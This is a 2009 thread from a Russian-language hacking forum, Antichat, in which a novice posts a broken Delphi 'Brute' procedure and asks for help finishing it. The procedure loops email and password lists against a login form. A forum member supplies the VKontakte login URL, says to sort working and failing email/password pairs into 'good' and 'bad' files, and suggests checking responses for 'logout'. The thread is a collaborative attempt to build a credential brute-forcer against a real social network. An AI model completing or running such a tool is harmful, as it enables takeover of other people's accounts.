ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Авторизация в контакте[DELPHI]
  #1  
Старый 09.08.2009, 00:08
Ant1Player
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394

Репутация: 6
По умолчанию Авторизация в контакте[DELPHI]

Кому не трудно помогите начинающему програмисту выложить тут исходник с этим кодом
P.S. Поступил на первый курс в техникум сайт не брошу

PHP код:
procedure Brute();
var
  
emails:TStingList;  
  
pass:TStingList;   
  
post:TStingList;  
  
i,j:integer;         
begin
 email
:=TStringList.Createpass:=TStringList.Create;

  
http:=TidHTTP.Create(nil);      
  
http.HandleRedirects:=true;   
  
post:=tstringlist.Create;  
  for 
i:=0 to emails.Count-do begin  
    post
.Clear
    
post.Add('email='+emails.Strings[i]);  
    for 
j:=0 to pass.Count-do begin        
      post
.Add('pass='+pass.Strings[j]);     
      
result:=http.Post('/',post); 
      if 
pos('',result)>;0 then 
else
       
     
    
end;
  
end;
 
 
  
emails.Free;
  
pass.Free;
  
http.Free;
  
post.Free;
end
прост меня интересует код с then и else можно и на сокетах выложить...
P.S.S. не над ругаться типо тема уже была с авторизацией. меня интересует именно с then и else
(что делать если пасс пральны и что если не правильный)

Последний раз редактировалось Ant1Player; 09.08.2009 в 00:21..
 
Ответить с цитированием

  #2  
Старый 09.08.2009, 00:37
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

не понятно.... а где вообще then? и что за запрос такой интересный со слешем?

аа... then нашел... ну прикольный код))
 
Ответить с цитированием

  #3  
Старый 09.08.2009, 00:44
Jes
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме:
3371897

Репутация: 1462
По умолчанию

Код:
  if pos('',result)>;0 then 
else
hmm , а это что вообще такое ?
 
Ответить с цитированием

  #4  
Старый 09.08.2009, 00:48
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

Цитата:
Сообщение от Jes  
Код:
  if pos('',result)>;0 then 
else
hmm , а это что вообще такое ?
видимо в этом и вопрос:
Цитата:
что делать если пасс пральны и что если не правильный
если пасс правильный - записывай в один файл, если нет - в другой
 
Ответить с цитированием

  #5  
Старый 09.08.2009, 01:02
Ant1Player
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394

Репутация: 6
По умолчанию

PHP код:
 procedure Brute(); 
var 
  
emails:TStingList;   
  
pass:TStingList;    
  
post:TStingList;   
  
i,j:integer;          
begin 
 email
:=TStringList.Createpass:=TStringList.Create

  
http:=TidHTTP.Create(nil);       
  
http.HandleRedirects:=true;    
  
post:=tstringlist.Create;   
  for 
i:=0 to emails.Count-do begin   
    post
.Clear;  
    
post.Add('email='+emails.Strings[i]);   
    for 
j:=0 to pass.Count-do begin         
      post
.Add('pass='+pass.Strings[j]);      
      
result:=http.Post('/',post);  
      if 
pos('',result)>;0 then  

///////
//тут будет код
///////

else 

///////
//и тут
//////
      
    
end
  
end
  
  
  
emails.Free
  
pass.Free
  
http.Free
  
post.Free
end
я вот хз как его дароботать шоб оно работало =))
странный код и я хз какие там компоненты нужны я грю новичек поетому и прошу обработать это в исходник...
 
Ответить с цитированием

  #6  
Старый 09.08.2009, 03:06
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

ничего себе "доработать"...
если решил авторизовываться в контакте, то надо знать параметры запроса и адрес.
Вместо адреса слеш стоит, а надо "http://vkontakte.ru/login.php".
После then записываешь пару "пароль;мыло" в файл "good", после else - в файл "bad". Например так.

Компоненты Indy нужны. Есть в программе?
 
Ответить с цитированием

  #7  
Старый 09.08.2009, 10:08
Ant1Player
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394

Репутация: 6
По умолчанию

Что не так? останавливаетсяя на result
PHP код:
unit Unit1;

interface

uses
  Windows
MessagesSysUtilsVariantsClassesGraphicsControlsForms,
  
DialogsStdCtrlsIdBaseComponentIdComponentIdTCPConnection,
  
IdTCPClientIdHTTP;

type
  TForm1 
= class(TForm)
    
IdHTTP1TIdHTTP;
    
Button1TButton;
    
procedure Button1Click(SenderTObject);
  private
    { Private 
declarations }
  public
    { Public 
declarations }
  
end;

var
  
Form1TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(SenderTObject);
var
  
emails:TStringList;
  
pass:TStringList;
  
post:TStringList;

  
i,j:integer;
  
http:TidHTTP;
begin
 emails
:=TStringList.Create;
 
pass:=TStringList.Create;
 
emails.Add('****@mail.ru');
 
pass.Add('******');
  
http:=TidHTTP.Create(nil);
  
http.HandleRedirects:=true;
  
post:=tstringlist.Create;
  for 
i:=0 to emails.Count-do begin
    post
.Clear;
    
post.Add('email='+emails.Strings[i]);
    for 
j:=0 to pass.Count-do begin
      post
.Add('pass='+pass.Strings[j]);
      
result :=http.Post('http://vkontakte.ru/login.php',post);
      if 
pos('',result)>;0 then
      ShowMessage
('Не правильно ');

///////
//тут будет код
///////

else  
         
ShowMessage('правильно ');
/////// 
//и тут 
////// 
       
    
end;  
  
end;  
   
   
  
emails.Free;  
  
pass.Free;  
  
http.Free;  
  
post.Free;

end
 
Ответить с цитированием

  #8  
Старый 09.08.2009, 10:51
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

Ошибка какая??
Возможно не хватает обязательных параметров. Посмотри снифером.
Возможно заголовки нужны
 
Ответить с цитированием

  #9  
Старый 09.08.2009, 11:05
Ant1Player
Познающий
Регистрация: 21.11.2008
Сообщений: 36
Провел на форуме:
117394

Репутация: 6
По умолчанию

Build
[Error] Unit1.pas(49): Undeclared identifier: 'result'
[Error] Unit1.pas(50): Incompatible types
[Error] Unit1.pas(75): Statement expected but end of file found
[Fatal Error] Project2.dpr(5): Could not compile used unit 'Unit1.pas'

49 строка ето result :=http.Post('http://vkontakte.ru/login.php',post);
 
Ответить с цитированием

  #10  
Старый 09.08.2009, 11:25
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

result не определен как string.
+ pos('logout',result) вот что должно быть в if (т.е. какое-то слово, которое присутствует на странице после входа)
+ походу end не хватает после post.free

Последний раз редактировалось ZdezBilYa; 09.08.2009 в 11:27..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Авторизация nonamez PHP, PERL, MySQL, JavaScript 9 07.06.2009 19:26
авторизация вконтакте rudra Социальные сети 40 08.05.2009 21:34
Авторизация + SSL (PHP) sNt PHP, PERL, MySQL, JavaScript 4 29.04.2009 14:19
MAIL.ru авторизация на perl rdrule PHP, PERL, MySQL, JavaScript 5 17.04.2009 20:31
Авторизация basic ProblemaT2 Уязвимости 1 15.05.2006 02:01



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ